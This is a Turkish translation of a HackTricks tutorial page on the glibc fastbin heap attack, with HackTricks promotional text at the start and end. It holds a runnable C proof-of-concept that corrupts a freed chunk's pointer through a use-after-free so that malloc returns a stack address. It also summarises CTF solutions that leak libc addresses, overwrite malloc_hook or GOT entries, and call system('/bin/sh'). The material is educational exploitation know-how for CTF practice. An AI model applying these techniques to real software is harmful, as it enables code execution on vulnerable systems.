12 KiB
Hızlı Bin Saldırısı
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- [The PEASS Family]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'lerimiz]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Hızlı bin nedir hakkında daha fazla bilgi için bu sayfaya bakın:
{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}
Hızlı bin tek yönlü olduğundan diğer binalardan çok daha az korumaya sahiptir ve sadece serbest bırakılan bir hızlı bin parçasındaki bir adresi değiştirmek, daha sonra herhangi bir bellek adresinde bir parça ayırmak için yeterlidir.
Özetle:
{% code overflow="wrap" %}
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)
// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
{% endcode %}
Çok iyi açıklanmış bir kod içeren tam bir örneği https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html adresinden bulabilirsiniz:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
{% hint style="danger" %}
Eğer global değişken global_max_fast
'in değeri büyük bir sayıyla üzerine yazılabilirse, bu daha büyük boyutlarda fast bin oluşturmayı mümkün kılar, bu da önceden mümkün olmayan senaryolarda fast bin saldırıları gerçekleştirmeye olanak tanır.
{% endhint %}
Örnekler
- CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
- Parçalar tahsis edilebilir, sonra bunlar serbest bırakılabilir, içerikleri okunabilir ve doldurulabilir (taşma açığıyla).
- Infoleak için parça birleştirme: Teknik temelde taşmayı kötüye kullanarak sahte bir prev_size oluşturmak ve bir önceki parçaların daha büyük bir parçanın içine konulmasını sağlamaktır, böylece başka bir parçayı içeren daha büyük bir parça tahsis edildiğinde, verilerini yazdırmak ve libc'nin bir adresini sızdırmak mümkün olur (main_arena+88).
- Malloc hook üzerine yazma: Bunun için ve önceki üst üste gelme durumunu kötüye kullanarak, aynı belleğe işaret eden 2 parçaya sahip olmak mümkündü. Dolayısıyla, bunları ikisini de serbest bırakarak (korumaları atlamak için araya başka bir parça serbest bırakma) aynı parçayı fast binde 2 kez elde etmek mümkün oldu. Sonra, adresi bir sonraki parçaya işaret edecek şekilde malloc_hook'un biraz öncesine işaret edecek şekilde tekrar tahsis edilebilir (böylece malloc'un bir serbest boyut olduğunu düşündüğü bir tamsayıya işaret eder - başka bir atlatma), bunu tekrar tahsis edebilir ve ardından malloc hook adresini alacak başka bir parça tahsis edebilir.
Sonunda bir one gadget oraya yazıldı. - CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
- Bir heap taşması ve kullanıcı sonrası serbest bırakma ve çift serbest bırakma var çünkü bir parça serbest bırakıldığında işaretçileri tekrar kullanmak ve yeniden serbest bırakmak mümkündür
- Libc bilgi sızıntısı: Sadece bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına bir işaretçi alacaklar. Serbest bırakılan işaretçileri tekrar kullanabileceğiniz için bu adresi okuyun.
- Fast bin saldırısı: Tahsis edilen tüm parçaların işaretçileri bir dizi içinde depolanır, bu nedenle birkaç fast bin parçasını serbest bırakabilir ve en sonuncusunda adresi bu işaretçi dizisinin biraz öncesine işaret edecek şekilde üzerine yazabiliriz. Sonra, aynı boyutta birkaç parça tahsis ederiz ve önce gerçek parçayı ve ardından işaretçi dizisini içeren sahte parçayı alırız. Şimdi bu tahsis işaretçilerini
free
'nin got adresine işaret etmek üzere üzerine yazabiliriz, böylece system'e işaret etmek için chunk 1"/bin/sh"
yazabiliriz ve ardındanchunk1
'i serbest bırakabiliriz, bu dasystem("/bin/sh")
'yi çalıştıracaktır. - CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
- Bir 1B taşma kötüye kullanarak parçaları sıralanmamış binde birleştirme ve bir libc bilgi sızıntısı almak ve ardından malloc hook'u bir one gadget adresiyle üzerine yazmak için fast bin saldırısı gerçekleştiren başka bir örnek
- CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
- Bir infoleak kötüye kullanarak sıralanmamış binde bir UAF ile libc adresi ve PIE adresi sızdırmak ve bu CTF'nin saldırısında, kontrol edilen parçaların işaretçilerinin bulunduğu yere bir parça tahsis etmek için fast bin saldırısı kullanıldı, böylece belirli işaretçileri üzerine yazmak ve GOT'ta bir one gadget yazmak mümkün oldu
- Bir Fast Bin saldırısının bir sıralanmamış bin saldırısı aracılığıyla kötüye kullanıldığını bulabilirsiniz:
- Hızlı bin saldırıları gerçekleştirmeden önce genellikle libc/heap adreslerini sızdırmak için sıralanmamış liste kötüye kullanılır (gerektiğinde).
{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzdaki özel NFT'leri keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da takip edin 🐦 @hacktricks_live.
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.